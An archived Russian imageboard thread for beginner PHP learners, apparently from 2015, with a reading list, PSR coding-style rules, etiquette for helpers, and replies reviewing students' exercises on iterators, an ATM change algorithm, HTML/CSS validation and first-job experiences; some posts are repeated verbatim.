Это копия, сохраненная 22 октября 2015 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
Добро пожаловать в наш уютный тредик. Тут мы изучаем язык PHP (а также JS/CSS/HTML/SQL), решаем задачки и даже делаем простые сайты! Зачем? Кто-то хочет научиться программировать, кто-то - делать сайты, кто-то - просто размять мозги и заняться чем-то полезным.
Почему PHP? Потому что фейсбук и википедия на нем написаны, и вакансий море, и учить легко.
Это тред для начинающих. Не написал за свою жизнь ни одной программы? Ты наш человек.
Устанавливать пока что ничего не требуется, разве что редактор кода вроде Sublime Text 3, Notepad++, Netbeans PHP или PhpStorm (с ним будет удобнее).
Предыдущий тред был тут: >>531765 (OP) (OP)
Что самое главное для программиста? Умение аккуратно оформлять код (читай второй пост).
Правила: ведем себя воспитанно, помогаем новичкам, постим ссылки на решения задачек, ОП их проверяет и дает советы и замечания. ОП отвечает даже на самые нубские вопросы. ОП заходит где-то раз в день-два, не жди его, решай задачки дальше.
У нас есть уроки по основам PHP, они собраны и выложены по адресу http://archive-ipq-co.narod.ru/ Это учебник для изучающих с нуля, то есть если ты вообще ничего не знаешь, то надо начать с него. Он простой и понятный (по крайней мере в начале). Там есть задачи, их надо решать обязательно (чтобы стать программистом, надо писать код — иначе никак). Пости ссылки на решения в тред, мы их проверим, напишем замечания и дадим советы по улучшению.
Если не знаешь как решать, запости код, напиши в каком месте остановился и попроси подсказку.
Учебник дает основы языка PHP, но чтобы делать сайты, этого недостаточно. Если ты его прошел, то надо переходить в более серьезным задачкам, которые научат тебя как выдавать страницы в браузер, работе с таблицами в БД, работе с формами, MVC.
- Простая, но полезная задача сделать список студентов: https://github.com/codedokode/pasta/blob/master/student-list.md
- Более сложная задача сделать файлообменник на микрофреймворке Slim: https://gist.github.com/codedokode/9424217
- Еще более сложная и долгая задача на Yii/Yii2: https://gist.github.com/codedokode/8733007
- После нее можно изучать автоматизированное тестирование
- Если ты все решил, переходи к Symfony 2/Doctrine 2
Чтобы делать эти задания, тебе надо установить Апач + PHP (можно заодно сразу и MySQL) на компьютер. Вот полезные инструкции:
https://gist.github.com/codedokode/10774100
https://gist.github.com/codedokode/7054af4a03865c4cc863
Может тебе понадобится пользоваться командной строкой, вот гайд https://gist.github.com/codedokode/10539568
Вот небольшой туториал по тому как начать использовать PHP на сервере для отдачи странички в браузер: https://php.net/manual/ru/tutorial.php Увы, уроков плавно подводящих к тому, как сделать задачи выше, пока нет, так что если что, задавай вопросы.
Решения задач лучше показать мне, особенно на ООП,так как сам ты вряд ли увидишь все ошибки. Пости свой код на гитхаб и вкидывай ссылку в тред по мере решения. Я прокомментирую и укажу на ошибки.
Также, у нас есть задачи которые позволят тебе изучить или подтянуть до нормального уровня знания JS/HTML/CSS/SQL. Решай их параллельно с задачами выше.
- HTML/CSS: https://gist.github.com/codedokode/58ebc90bd006baf4b35c
- JS: https://gist.github.com/codedokode/ce30e7a036f18f416ae0
- Проверялка решений на JS: http://dkab.github.io/jasmine-tests/
- MySQL: https://gist.github.com/codedokode/10539213
Что почитать
- Мануал по PHP — http://www.php.net/manual/ru/langref.php
- Сайт phptherightway (перевод на русский: http://getjump.github.io/ru-php-the-right-way/ )
- По PHP: Профессиональное программирование на PHP Джордж Шлосснейгл
- По PHP: Мэтт Зандстра — PHP: Объекты, шаблоны, методики программирования
- JS: learn.javascript.ru
- Про Git:
Подскажи сайты для поиска работы, я не умею гуглить? brainstorage.me, geekjob.ru, hh.ru
Нужен ли ООП, фреймворки, MVC? — Да, однозначно. Посмотри любую вакансию.
Сайт опять упал!!!!! — Не паникуй, а открой http://rghost.net/45000175
Оформляй код аккуратно!!! — например пропусти через phpformatter.com . Также, если ты пользуешься IDE вроде PhpStorm, Netbeans, Eclipse, то в них эта опция встроена, подробнее: https://gist.github.com/codedokode/8759492
ОП, сделай за меня мою работу или домашнее задание? — Это конечно, хорошая идея, но нет.
Где искать работу и заказы — hh.ru, geekjob.ru, brainstorage.me, fl.ru, odesk.com. Имей в виду, что кроме фриланса есть еще постоянная удаленная работа (remote job) когда тебе не надо тратить время на поиск заказов и переговоры с неадекватными заказчиками.
Есть БД на мускуле, есть запись в текстовом формате. Домустим как двачезапись любого ответа. Только тут есть простой текст и в нём есть куски кода которые нужно подсветить снипетом не задевая текст.
Как это сделать?
Git: https://github.com/Integer64/myTestSite.dev/tree/master/CatMouse
Вопрос: Оп проверь. Переделал выбор хода, убрал все лишнее св-ва и методы. Есть еще какие-либо замечания?
Как тебе удобнее. Мне лишь-бы в итоге работало.
:3
Смотри. Код нужно писать не как попало, а аккуратно и по правилам. Почему? Потому, что на неакуратно написанный код не хочется даже смотреть.
Если тебе лень выравнивать код руками, закачай его на http://beta.phpformatter.com/ и нажми «format». Робот исправит выравнивание и отступы в мгновение ока (да, прогресс не стоит на месте). Если ты используешь мощную IDE вроде PhpStorm, там тоже есть функция форматирования кода.
Горячие клавиши для форматирования кода в разных IDE: https://gist.github.com/codedokode/8759492
Вообще, в PHP долгое время не было единого стандарта оформления кода, все писали как попало и было много бардака, но сейчас дело лучше — есть стандарты PSR-1 и 2. Вот как надо оформлять код:
- переменные и функции пишутся с маленькой буквы, подчеркивание не используется, используется camelCase, пример: $x, $numberOfPeople, printResults()
- Название функции начинается с глагола, в стиле «сделайЧтоТо»
- не знаешь английский? Не беда, в 21 веке есть решение этой проблемы. Не пиши транслитом, открой лучше Гугл Транслейт или slovari.yandex.ru и найди название для переменной там
- в именах классов используется CamelCase, первая буква большая, «_» может использоваться
- мы предпочитаем подстановку переменных вместо конкатенации строк: "I am $age years old" — хорошо, 'I am ' . $age . ' years old' — плохо из-за обилия точек и кавычек
- мы используем для отступов 4 пробела (можно настроить редактор, чтобы при нажатии Tab он вставлял 4 пробела)
Вот ссылка на стандарты, где все это описано подробнее и даны примеры оформления:
PSR-1: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-1-basic-coding-standard.md
PSR-2: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-2-coding-style-guide.md
------------------
Итак, ты зашел в тред и решил помочь какому-то анону, дав ему совет или подсказку. Спасибо! Но прочти сначала эти напоминания, чтобы твоя помощь действительно была полезной.
Будь доброжелателен
Не годится: «Ты мануал хоть раз в жизни открывал, обезьяна?»
Не годится: «В гугле забанили?»
Не годится: «Твой код плохой»
Хорошо: «Вот, как можно улучшить этот код: ...»
Хорошо: «Ты неправильно используешь функцию abc(). Вот ее описание: ссылка, и как видишь ей надо передать строку, а не массив»
Объясняй
Не очень хорошо: «сделай как в этом коде»
Хорошо: «если ты вставляешь текст от пользователя в SQL запрос, то получается SQl-инъекция, которая позволяет взломать твой сервер (ссылки). Чтобы этого избежать, надо вставлять данные с помощью плейсхолдеров (ссылки)»
Хорошо: «Помни, что код пишется для людей. Если писать такие большие функции, то в них становится трудно разобраться...»
Не проповедуй
Мы учим использованию самых распространненных подходов, стандартов, библиотеки фреймворков. Если ты не любишь ООП, пробелы в коде, jQuery, сам PHP, то рассказать об этом стоит в каком-нибудь другом треде.
Ах да. Если тебе кажется, что что-то в учебнике или задачах можно сделать лучше — пиши, обратная связь всегда очень полезна.
Смотри. Код нужно писать не как попало, а аккуратно и по правилам. Почему? Потому, что на неакуратно написанный код не хочется даже смотреть.
Если тебе лень выравнивать код руками, закачай его на http://beta.phpformatter.com/ и нажми «format». Робот исправит выравнивание и отступы в мгновение ока (да, прогресс не стоит на месте). Если ты используешь мощную IDE вроде PhpStorm, там тоже есть функция форматирования кода.
Горячие клавиши для форматирования кода в разных IDE: https://gist.github.com/codedokode/8759492
Вообще, в PHP долгое время не было единого стандарта оформления кода, все писали как попало и было много бардака, но сейчас дело лучше — есть стандарты PSR-1 и 2. Вот как надо оформлять код:
- переменные и функции пишутся с маленькой буквы, подчеркивание не используется, используется camelCase, пример: $x, $numberOfPeople, printResults()
- Название функции начинается с глагола, в стиле «сделайЧтоТо»
- не знаешь английский? Не беда, в 21 веке есть решение этой проблемы. Не пиши транслитом, открой лучше Гугл Транслейт или slovari.yandex.ru и найди название для переменной там
- в именах классов используется CamelCase, первая буква большая, «_» может использоваться
- мы предпочитаем подстановку переменных вместо конкатенации строк: "I am $age years old" — хорошо, 'I am ' . $age . ' years old' — плохо из-за обилия точек и кавычек
- мы используем для отступов 4 пробела (можно настроить редактор, чтобы при нажатии Tab он вставлял 4 пробела)
Вот ссылка на стандарты, где все это описано подробнее и даны примеры оформления:
PSR-1: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-1-basic-coding-standard.md
PSR-2: https://github.com/php-fig/fig-standards/blob/master/accepted/ru/PSR-2-coding-style-guide.md
------------------
Итак, ты зашел в тред и решил помочь какому-то анону, дав ему совет или подсказку. Спасибо! Но прочти сначала эти напоминания, чтобы твоя помощь действительно была полезной.
Будь доброжелателен
Не годится: «Ты мануал хоть раз в жизни открывал, обезьяна?»
Не годится: «В гугле забанили?»
Не годится: «Твой код плохой»
Хорошо: «Вот, как можно улучшить этот код: ...»
Хорошо: «Ты неправильно используешь функцию abc(). Вот ее описание: ссылка, и как видишь ей надо передать строку, а не массив»
Объясняй
Не очень хорошо: «сделай как в этом коде»
Хорошо: «если ты вставляешь текст от пользователя в SQL запрос, то получается SQl-инъекция, которая позволяет взломать твой сервер (ссылки). Чтобы этого избежать, надо вставлять данные с помощью плейсхолдеров (ссылки)»
Хорошо: «Помни, что код пишется для людей. Если писать такие большие функции, то в них становится трудно разобраться...»
Не проповедуй
Мы учим использованию самых распространненных подходов, стандартов, библиотеки фреймворков. Если ты не любишь ООП, пробелы в коде, jQuery, сам PHP, то рассказать об этом стоит в каком-нибудь другом треде.
Ах да. Если тебе кажется, что что-то в учебнике или задачах можно сделать лучше — пиши, обратная связь всегда очень полезна.
Во что превратили мой уютненький Comodo Edit.
Этож просто ужос.
Добавили какую-то панельку слева. Дубрали меню, и добавили кнопку как в фаерфоксе, тпеерь оно при открытии заслоняет пол экрана и неудобно.
Капец.
Короче, на чём писать PHP код?
Нужен джун с небольшим опытом, так что примерно 30-35; не знаю точно, что HR-ы предлагают.
Удалёнка есть?
https://github.com/never3ver/vector/ >>543875
Юи и вывод из 2 таблиц >>543874
Задачи 3 и 4 на HTML >>543874
Вопрос про кодировки, матрица http://helloneo.esy.es/ >>543873
https://github.com/Integer64/myTestSite.dev/ >>543871\t
Аноны, напишите ваши предложения, что делать если сайт опять упадет. Пока есть 2 варианта:
- резервный тредик на доброчане (создадим при надобности)
- слак (нужно сначала заргистрироваться и получить инвайт через какой-то сайт вроде slack-for-pr.heroku.com или как-то так )
Выбранный способ опубликуем в шапке следующего треда.
Я тот анон с файлообменником с доктриной и древовидными камментами. Проебланил месяц, берусь обратно за ум.
Другой анон который тоже делал файлообменник таки его доделал?
Почитай про XMLHttpRequest, потому что функция $.ajax в jQuery это лишь удобная обертка вокруг этого объекта.
Ну и представление о протоколе HTTP, методах, заголовках, кодах ответа надо бы иметь.
>Куна, который тут всем надоел уже со своим макетом, например.
Не только макетом, аватаркофаг
Итак первая попытка понять чего происходит с SplObjectStorage.
Как видно второй цикл выполняется, а первый сбрасывается.
Что то мне подсказывает, что дело все в адресации в памяти и в ссылках.....
С этим все понятно. У нас в двух переменных одна и таже ссылка на объект. Второй цикл проходит весь SplObjectStorage и переставляет курсор в конец SplObjectStorage. Из-за чего первый цикл пытается перейти к следующему объекту, а его нет и завершается как обычно. Попробую создать несколько классов посмотреть что получиться.
Да, ты прав. SplObjectStorage это не настоящий массив, а объект реализующий интерфейс Iterator.
Там единственный счетчик текущего положения и он находится внутри SplObjectStorage. Внутренний цикл прокручивает этот счетчик от начала и до конца, внешний цикл видит что мы в конце списка и завершается.
Да, тут выход либо использовать clone либо не допускать вложенных циклов. В любом случае, надо в коде это пояснить комментарием, так как это неочевидно и вызывает вопросы, зачем там сделано.
В случае с массивами такой проблемы нет так как foreach делает для себя приватную копию массива перед выполнением цикла.
Ссылки:
http://stackoverflow.com/questions/3405476/nested-foreach-with-iterator-interface (англ)
http://php.net/manual/ru/language.oop5.iterations.php (про итераторы)
http://php.net/manual/ru/class.iterator.php
http://php.net/manual/ru/class.traversable.php
http://php.net/manual/ru/class.iteratoraggregate.php
Обрати внимание, что интерфейс IteratorAggregate тоже позволяет перебирать содердимое через foreach, но он каждый раз создает новый итератор и лишен этого недостатка, который есть у тех кто реализует просто Iterator. Взамен он делает итерацию чуть дороже, так как каждый раз приходится создавать новый объект (что не имеет значения пока ты не делаешь это десятки тысяч раз).
Если хочешь получше в этом разобраться, можешь сделать класс-наследник или класс-обертку (если наследование не сработает) для SplObjectStorage, реализующий IteratorAggregate и исправляющий это досадное недоразумение.
>- слак (нужно сначала заргистрироваться и получить инвайт через какой-то сайт вроде slack-for-pr.heroku.com или как-то так )
>
Вот он: http://php-pr-slack.herokuapp.com/
Я просто стату на гит хабе глянул по этой задаче, и немного удивился...
Мне кажется в шапку надо бы добавить ещё информацию о Zen Coding, совсем недавно натолкнулся на него и был очень приятно удивлен: https://www.youtube.com/watch?v=WlsJkAhcHQE
доделал банкомат http://ideone.com/eNBIPi , добавил проверки, а так же добавил наминал 200 и 2000 взгляни правильно ли я понял что массив необходимо сортировать по значению что бы выдать сумму 6600 из доп. условий к задаче??
Устроился случайно, можно сказать мимо проходил и в шутку спросил не нужен ли им дизайнер, оставил номер свой и на следующий день мне перезвонили. Пришел, показал свой гит (очень скудный (сайт студентов + некоторые задачки)), пообщался. Контора маленькая, занимается разработкой сайтов на разных CMS (Joomla, Opencart в основном), первое время было дико сложно, открыв впервый раз опенкарт, а потом и джумлу не знал с чего начать, со временем более менее разобрался с опенкартом (допиливал некоторые модули), сейчас работаю над сайтом на джумле. Джумла меня очень напрягает, она довольно странно структурирована, хотя всё же какое-никакое разделение MVC в ней присутствует, но на мой взгляд очень извращенное. Так же сколько не сидел в треде - не мог с версткой разобраться и с CSS дальше базовых знаний, видимо из-за того, что когда делал тот же сайт студентов и какой-то элемент кастомизировал лишь до фазы "и так сойдет" но там такое не прокатывает - нужно доводить внешность сайта до совпадения с макетом который нарисовал дизигнер". Очень помогает то, что есть у кого попросить помощи или спросить в сию секунду (так как там присутствует ещё один программист более опытный). В общем в первый месяц испытывал перманентную фрустрацию из-за больших объемов информации, плюс голова не соображала уже к 17:00, но на втором месяце вроде втянулся. Время от времени появляется чувство, что я слишком медленно делаю текущее задание, ещё и заказчик названивает постоянно менеджерам и спрашивает о сайте, ну а менеджеры соответственно напрягают меня. Ещё немного опасался, что не подойду им после стажировки (2 недельной) но утешал тот факт, что если и не подойду то некоторые опыт и знания за это время я всё же получу.
И да, работаю уже 2 месяца, всем доволен, за свои 26 лет это первая работа (а сменил я мест работы немало) которая мне по душе, и я не ощущаю желания бросить всё и забить. И да, коллектив хороший, веселый и доброжелательный.
Извините за сумбурность изложения, писатель из меня никудышный. А и забыл добавить: мухосранск с 90к населения, в котором я думал найти что-то из области IT нереально
Устроился случайно, можно сказать мимо проходил и в шутку спросил не нужен ли им дизайнер, оставил номер свой и на следующий день мне перезвонили. Пришел, показал свой гит (очень скудный (сайт студентов + некоторые задачки)), пообщался. Контора маленькая, занимается разработкой сайтов на разных CMS (Joomla, Opencart в основном), первое время было дико сложно, открыв впервый раз опенкарт, а потом и джумлу не знал с чего начать, со временем более менее разобрался с опенкартом (допиливал некоторые модули), сейчас работаю над сайтом на джумле. Джумла меня очень напрягает, она довольно странно структурирована, хотя всё же какое-никакое разделение MVC в ней присутствует, но на мой взгляд очень извращенное. Так же сколько не сидел в треде - не мог с версткой разобраться и с CSS дальше базовых знаний, видимо из-за того, что когда делал тот же сайт студентов и какой-то элемент кастомизировал лишь до фазы "и так сойдет" но там такое не прокатывает - нужно доводить внешность сайта до совпадения с макетом который нарисовал дизигнер". Очень помогает то, что есть у кого попросить помощи или спросить в сию секунду (так как там присутствует ещё один программист более опытный). В общем в первый месяц испытывал перманентную фрустрацию из-за больших объемов информации, плюс голова не соображала уже к 17:00, но на втором месяце вроде втянулся. Время от времени появляется чувство, что я слишком медленно делаю текущее задание, ещё и заказчик названивает постоянно менеджерам и спрашивает о сайте, ну а менеджеры соответственно напрягают меня. Ещё немного опасался, что не подойду им после стажировки (2 недельной) но утешал тот факт, что если и не подойду то некоторые опыт и знания за это время я всё же получу.
И да, работаю уже 2 месяца, всем доволен, за свои 26 лет это первая работа (а сменил я мест работы немало) которая мне по душе, и я не ощущаю желания бросить всё и забить. И да, коллектив хороший, веселый и доброжелательный.
Извините за сумбурность изложения, писатель из меня никудышный. А и забыл добавить: мухосранск с 90к населения, в котором я думал найти что-то из области IT нереально
К самообучению способен, есть ну совсем базовые знания плюсиков (массивы, сортировочки, пойнтеры, всякая такая синтаксическая хуита ещё из школы), с юниксами тоже знаком, но вот в вебе и этих ваших сетях не шарю совершенно, хотелось бы это исправить.
Помоги, пожалуйста, анон. Не хочется тратить своё время на изучение того, что принципиально не может принести пользы.
Достаточно долго, от нескольких месяцев до пары лет. Начни с уроков ОПа, параллельно книжки по PHP и фреймворкам почитывай.
Ну то, что мухосранск еще не о чем не говорит, хотя да, 90к - это деревня. У меня 300к, есть web-студии(не торт по описанию), есть 1С много, есть филиалы тырпрайз конторок(java, c#) но они редко всплывают, есть intel, но есть ли у них офис или это просто рекрутинг "умных парней" из вузика я не знаю. Отдельная категория - это уютненькие конторки, но они ни когда не пишут на сайтах с работой. Видел около кафедры и деканата их обьявления, по описанию хорошие, чай, пряники и модные фреймворки на месте.
>Не знаю, может надо было с какого-нибудь паскаля начать
Да.
Становишь новенький дельфи и на этом паскале ебашишь приложения для винды, макоси и айфонов с ведрами.
Будь успешным.
Оу, быстро вы тут отвечаете. Отвык уже от скоростных борд.
Спасибо, что же. Появлюсь ещё у вас.
Какая разница? Просто ебашь код.
Dev-C++;
Ну и всякая остальная фигня, не так ненавидимая людьми с C++ головного мозга.
Извините, ежли не по теме,
всегда Ваш
мимосрршкольник.
> занимается разработкой сайтов на разных CMS (Joomla, Opencart в основном)
Жаль, я думал что-то серьезное. Крайне пугает перспектива возиться с этим дерьмом.
Поправил массивы foreach, теперь задачи вродеотрабатываются как в условие.
1) http://ideone.com/nrbw6k задача "Клавиша Shift"
2) http://ideone.com/T7bwPw задача "Yoda Speak"
Правильное ли решение добавлять счетчик к массиву?
попробуй с номиналами 2,6, 11 собрать сумму 12, жадный алгоритм, который у тебя сейчас, уже работать не будет
Ну в первых тебе просто самому с нуля нужно написать простенький пример. Только тогда ты наконец поймёшь что и как работает. Я например писал голосовалку. Мне норм.
И да, jquery с уровнем ньюфага не суйся. Сначала только что-то очень простое и скопипащенное. Только пjтом jquery. Ибо иначе не поймёшь.
Далее теперь есть регистрация. Для юзеров отдельная таблица от файлов. В таблицу юзера тоже заносить куки? В слиме куки так ставится $app->setCookie('username', $cookieKey, time()+86400*4);
Надо ли вместо поля "юзернейм" ставить логин или мейл юзера? Я чот запутался, честно говоря.
Это снова я. Вот так пока:
Метод save принимает на вход объект, метод search возвращает массив, метод getEnrollee возвращает массив с инфой(кроме id и token) об авторизованном студенте(то есть если есть кука). Вот этими данными, которые возвращает getEnrollee я заполню страничку профиля и закину их в value для форм, чтобы не думать какие поля апдейтить, а апдейтить все по умолчанию. Но как реализовать метод update, принимать в качестве параметра поля или создать обьект enrollee и заполнить ему все свойства(кроме id и токен) а потом передать его в update.
Кароче, я решил использовать итеративный подход, он позволяет мне не скатываться в прокастинацию. Думаю запилить рабочий прототип абы как(это не значит что совсем говнокод), потом отправить ОПу, потом поправить, потом снова отправить ОПу, и так до состояния когда можно будет залить его на гитхаб.
Ты гит хаб только для элит кода держишь?
Делать коммиты на гит желательно когда меняешь какую либо логику в коде.
Хотя все сугубо лично.
Прописал
ini_set('display_errors', 'On');
error_reporting(E_ALL);
Все равно ни в какую.
Убунту, php 5.5
В логах если что фатальная ошибка PHP Fatal error: Default value for parameters with array type hint can only be an array or NULL
Ее на экран не выводит.
Обычные нотисы типа undefined variable выводятся. Странно.
в убунту не чего просто так с коробки и не работает привыкай кури офф форум 3 дня, потом еще 4 настраивай.
Получается, методы передаются как бы по ссылке в класс наследник?
В этом примере http://ideone.com/OWwo7S я запускаю Bar::getName(), но фактически получаю вызов Foo::getName(), который не может достучаться до приватного свойства класса Bar, из-за чего выбрасывается ошибка.
А вот если переопределить метод в классе наследнике, то ошибки нет.
Получается, если мы вызываем метод класса, сначала он ищется в данном классе, затем по цепочке в предках, и изнутри предка же и вызывается.
Тогда точно будет 'foo', а не 'bar', потому что self подразумевает тот класс, в области которого происходит вызов.
Решил перед собеседованием пошерстить теорию, там любят спрашивать всякую ерунду, которая никогда не встретится на практике.
http://habrahabr.ru/post/259627/
Написал сам рекурсию это было трудновато, сделал к коду аннотации, а так же оставил все сопроводительные функции. проверки на отрицательные значения и т. д. не делал жду критики и поправок.
напиши, пожалуйста, на lovecookies@list.ru, если актуально
Собственно можно настроить кеширование этого файла, дабы он обновлялся раз в час. Только вот как это сделать я не совсем представляю. С кешированием до этого ни разу не работал. Можете чего посоветовать или что нибудь почитать на эту тему?
если в модели нет if if(!$foo->id)
{
то в сокл запросе просто апдейт делаешь. тот же метод save.
}
и просто в модели определяешь id вытащив его из бд.
>>544856 - вопрос про перевод сайта на https, и странный вопрос про идею сделать приложение внутри сайта.
>>544861 вопрос про скачивание файлов с гитхаба (качай зип) и про способы авторизации. Анону, который делает доску объявлений на Юи посоветовал рассмотреть возможность использования хорошего быстрого поискового движка sphinx — дополнительный пунктик в резюме будет.
>>543725
А как куски кода отделены от обычного текста? как их отличить?
>>543729
С тобой мы вроде разобрались в прошлом треде.
>>543743
Есть сайты-рейтинги и сайты обзоры хостингов, где их можно сравнить.
>>543816
Netbeans, PhpStorm
>>543888
Не знаю, но я бы поискал для начала правила как она считается
>>543899
Ок, тогда вот замечания:
Приучи себя в учебных задачах пользоваться валидатором HTML кода. Есть много споров, должен ли код быть валидным или нет, так как ты пока учишься то для тебя ответ на этот вопрос «да», так что посмотри тут и исправь замечания:
https://validator.w3.org/nu/?doc=http%3A%2F%2Fmaketi.esy.es%2F
Там единственная ошибка, про IE=edge не актуальна, это скорее баг в валидаторе который не знает про опцию chrome. Остальные все верные. Исправь их.
Также, имей в виду что есть браузерные расширения, отправляющие текущую страницу на проверку одним нажатием, но я не доверяю расширениям (это же по сути бекдор) и потому никакого конкретного не рекомендую. Скачивай их только если доверяешь автору.
Вот также CSS validator: https://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fmaketi.esy.es%2Fstyle%2Fstyle.css&profile=css3&usermedium=all&warning=1&vextwarning=&lang=ru
Он немного ругается на вендорные префиксы, но тут ничего не поделать.
В общем, я думаю, задача решена, сколько я замечаний уже написал, хватит пожалуй. Только больше не выравнивай код так странно, это нестандартно и только сбивает с толку. Старайся не использовать id в верстке, и не привязываться к номерам элементов (если только именно это и не требуется).
Ну и подучи синтаксис селекторов. Убедись сам, что ты знаешь все селекторы из этого списка:
http://css.yoksel.ru/css-selectors/
http://css.yoksel.ru/css-selectors-part2/
И посмотри задачки здесь, тоже сам: https://learn.javascript.ru/css-selectors
Дальше, если есть желание, можно изучать JS (задачки в ОП треде) или по PHP что-нибудь делать.
>>543725
А как куски кода отделены от обычного текста? как их отличить?
>>543729
С тобой мы вроде разобрались в прошлом треде.
>>543743
Есть сайты-рейтинги и сайты обзоры хостингов, где их можно сравнить.
>>543816
Netbeans, PhpStorm
>>543888
Не знаю, но я бы поискал для начала правила как она считается
>>543899
Ок, тогда вот замечания:
Приучи себя в учебных задачах пользоваться валидатором HTML кода. Есть много споров, должен ли код быть валидным или нет, так как ты пока учишься то для тебя ответ на этот вопрос «да», так что посмотри тут и исправь замечания:
https://validator.w3.org/nu/?doc=http%3A%2F%2Fmaketi.esy.es%2F
Там единственная ошибка, про IE=edge не актуальна, это скорее баг в валидаторе который не знает про опцию chrome. Остальные все верные. Исправь их.
Также, имей в виду что есть браузерные расширения, отправляющие текущую страницу на проверку одним нажатием, но я не доверяю расширениям (это же по сути бекдор) и потому никакого конкретного не рекомендую. Скачивай их только если доверяешь автору.
Вот также CSS validator: https://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fmaketi.esy.es%2Fstyle%2Fstyle.css&profile=css3&usermedium=all&warning=1&vextwarning=&lang=ru
Он немного ругается на вендорные префиксы, но тут ничего не поделать.
В общем, я думаю, задача решена, сколько я замечаний уже написал, хватит пожалуй. Только больше не выравнивай код так странно, это нестандартно и только сбивает с толку. Старайся не использовать id в верстке, и не привязываться к номерам элементов (если только именно это и не требуется).
Ну и подучи синтаксис селекторов. Убедись сам, что ты знаешь все селекторы из этого списка:
http://css.yoksel.ru/css-selectors/
http://css.yoksel.ru/css-selectors-part2/
И посмотри задачки здесь, тоже сам: https://learn.javascript.ru/css-selectors
Дальше, если есть желание, можно изучать JS (задачки в ОП треде) или по PHP что-нибудь делать.
Ну и так как ты (судя по потраченному времени) увлекаешься HTML/CSS то советую почитывать иногда статьи об интересных возможностях этих технологий вроде такой: http://habrahabr.ru/company/paysto/blog/251933/
Да, хорошая вещь, только сейчас он называется Emmet. У меня в Sublime Text 3 установлено расширение.
>>544098
С жадным алгоритмом все ок, но с купюрами 200 и 2000 он работать не будет. Представь что у нас запас
5x500, 5x200, 0x100
И нам надо выдать 600.
Жадный алгоритм возьмет 1x500 и на этом месте все закончится.
Полное решение это задачи для любых видов купюр довольно сложное. Это так называемая задача о рюкзаке:
http://neerc.ifmo.ru/wiki/index.php?title=%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BE_%D1%80%D1%8E%D0%BA%D0%B7%D0%B0%D0%BA%D0%B5#.D0.97.D0.B0.D0.B4.D0.B0.D1.87.D0.B0_.D0.BE_.D1.80.D0.B0.D0.B7.D0.BC.D0.B5.D0.BD.D0.B5
http://informatics.mccme.ru/mod/book/view.php?id=815
Там приведены довольно сложные алгоритмы. Более простым, но менее эффективным был бы алгоритм полного перебора всех возможных (то есть не превышающих требуемую сумму комбинаций) купюр.
Ну то есть просто берем комбинации
0 0 0 0 1
0 0 0 0 2
....
0 0 0 1 0
0 0 0 1 1
....
1 0 0 0 0
1 0 0 0 1
....
И перебираем пока не получим нужную сумму либо не превысим ее.
Можешь попробовать его реализовать. Скорее всего понадобится рекурсия.
Да, хорошая вещь, только сейчас он называется Emmet. У меня в Sublime Text 3 установлено расширение.
>>544098
С жадным алгоритмом все ок, но с купюрами 200 и 2000 он работать не будет. Представь что у нас запас
5x500, 5x200, 0x100
И нам надо выдать 600.
Жадный алгоритм возьмет 1x500 и на этом месте все закончится.
Полное решение это задачи для любых видов купюр довольно сложное. Это так называемая задача о рюкзаке:
http://neerc.ifmo.ru/wiki/index.php?title=%D0%97%D0%B0%D0%B4%D0%B0%D1%87%D0%B0_%D0%BE_%D1%80%D1%8E%D0%BA%D0%B7%D0%B0%D0%BA%D0%B5#.D0.97.D0.B0.D0.B4.D0.B0.D1.87.D0.B0_.D0.BE_.D1.80.D0.B0.D0.B7.D0.BC.D0.B5.D0.BD.D0.B5
http://informatics.mccme.ru/mod/book/view.php?id=815
Там приведены довольно сложные алгоритмы. Более простым, но менее эффективным был бы алгоритм полного перебора всех возможных (то есть не превышающих требуемую сумму комбинаций) купюр.
Ну то есть просто берем комбинации
0 0 0 0 1
0 0 0 0 2
....
0 0 0 1 0
0 0 0 1 1
....
1 0 0 0 0
1 0 0 0 1
....
И перебираем пока не получим нужную сумму либо не превысим ее.
Можешь попробовать его реализовать. Скорее всего понадобится рекурсия.
> Так же сколько не сидел в треде - не мог с версткой разобраться и с CSS дальше базовых знаний
Ты наверно наши задачи на HTML/CSS (в ОП посте) не прорешал, а зря, они хорошие, вот другие аноны наверно не проверяя в браузере CSS написать могут.
Ну и конечно тебе, как и другим, совет, развивайся дальше, верстка и натяжка шаблонов на джумлу подходит начинающему но всю жизнь заниматься такой примитивной работой не стоит.
>>544106
Нужно уметь решать задачи заказчиков. Открой фриланс-сайт (напрмиер frilansim.ru) или сайт с работой (hh.ru, geekjob) и почитай какие требования.
Ну и в Оп посте много заданий, можешь уже начинать изучать.
Для сайтов надо хорошо знать HTML/CSS/JS/SQL/PHP.
>>544115
Задача 3: все верно
Задача 4: так-то все верно, но вот я тебе не советую этот способ:
> letter-spacing : -.36em;
Это очень ненадежно и зависит от шрифта, так как в разных шрифтах размеры символов разные.Такая верстка это мина замедленного действия.
Также font-size:0 может не работать если в браузере ограничивается минимальный размер шрифта.
Лучше использовать способ с комментариями или написанием тегов вплотную.
>>544124
А ты сдай на проверку код. Ну а паскаль не рекомендую, он старый, никому не нужный да и делался не для практических задач, а для обучения. Если ты хочешь изучить еще какой-то язык то изучай актуальное, напиши что именно ты хочешь на нем писать, и я или аноны посоветуем что-нибудь.
>>544127
Микрофреймворки: slim, silex
Средние: Yii 2
Мощные: Symfony 2
>>544129
дельфи же умер 15 лет назад, кроме бывшего СССР на нем никто не пишет. Виндоприложения пишут на C# давно уже.
>>544142
Программы которые скачиваешь, ставишь и появляется иконка в меню пуск.
>>544148
С++ не для начинающих, быстро ты его не выучишь, а выучить поверхностно пользы не дает. Да и что на нем писать? Топовые игры? Браузеры? Вряд ли у анона хватит времени в одиночку сделать то что делают командами.
А для обычных приложений С++ все же медленный в написании, лучше другие языки использовать.
>>544153
Начинающему может и полезно, чтобы лучше осознать важность использования ООП, неймспейсов, композера, и MVC фреймворков и может даже тестов (кто хочет научиться писать тесты, у меня есть урок).
>>544219
Надо выводить так:
- все нулевые буквы всех строк
- перевод строки
- все первые буквы по очереди
И тд.
Попробуй циклы поменять местами.
Для (номера буквы от 0 до N) {
